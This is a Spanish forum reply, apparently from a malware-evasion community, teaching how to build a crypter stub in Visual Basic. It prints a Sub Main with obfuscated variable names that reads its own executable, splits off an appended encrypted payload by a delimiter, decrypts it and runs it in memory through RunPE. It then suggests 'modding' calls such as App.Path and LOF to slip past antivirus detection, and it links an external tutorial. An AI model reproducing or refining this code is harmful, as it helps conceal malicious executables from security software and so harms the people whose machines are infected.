Bueno, el stub es muy sencillo y te recomendare este tutorial:
http://indetectables.net/viewtopic.php?f=8&t=51265en el cual aprenderas a crear tanto el stub como el cliente
solo tiene que comprender que el stub es lo que ejecuta el encryptado en memoria
y bueno el codigo consta de 5 lineas como mucho sin contar encryptacion y runpe
y solo decir que la encryptacion encrypta el archivo a ejecutar y el runpe lo ejecuta en memoria
y ya solo te queda el llamado main que simplemente cortara por un delimitador el archivo encryptado
de si mismo y lo des encryptara y ejecutara con el runpe
Un pequeño sub main:
Sub Main()
Dim Ï»•Ø•¶™ As String
Dim ‰±»±»»¾() As String
Dim ™±¾±™•¯ As String
Dim ¢¾¾»€»Ï() As Byte
Open App.Path & "\" & App.EXEName & ".eXe" For Binary As #1
Ï»•Ø•¶™ = Space$(LOF(1))
Get #1, , Ï»•Ø•¶™
Close #1
‰±»±»»¾ = Split(Ï»•Ø•¶™ , "Delimitador")
™±¾±™•¯ = ENCRYPTACION(‰±»±»»¾(1), "PassDeEncryptacion")
¢¾¾»€»Ï = StrConv(™±¾±™•¯, vbFromUnicode)
CALL RUNPE(App.Path & "\" & App.EXEName & ".eXe", ¢¾¾»€»Ï)
End Sub
y ya que preguntas de como modear, de este sub main, lo puedes modear en un segundo cambiando:
App.Path & "\" & App.EXEName & ".eXe" por una alternativa por ej:
Private Function Alternativa1() as string
dim a as string
dim b as string
dim c as string
dim d as string
a = app.path
b = app.exename
c = "\"
d = ".exe"
if app.path + "\" = app.path then
end
else
Alternativa1 = a+c+b+d
end function
y el Space$(LOF(1))
ese LOF por otra alternativa
como la de sLOF que encontraras por google
Un saludo, espero haber ayudado
Mostrar Mensajes
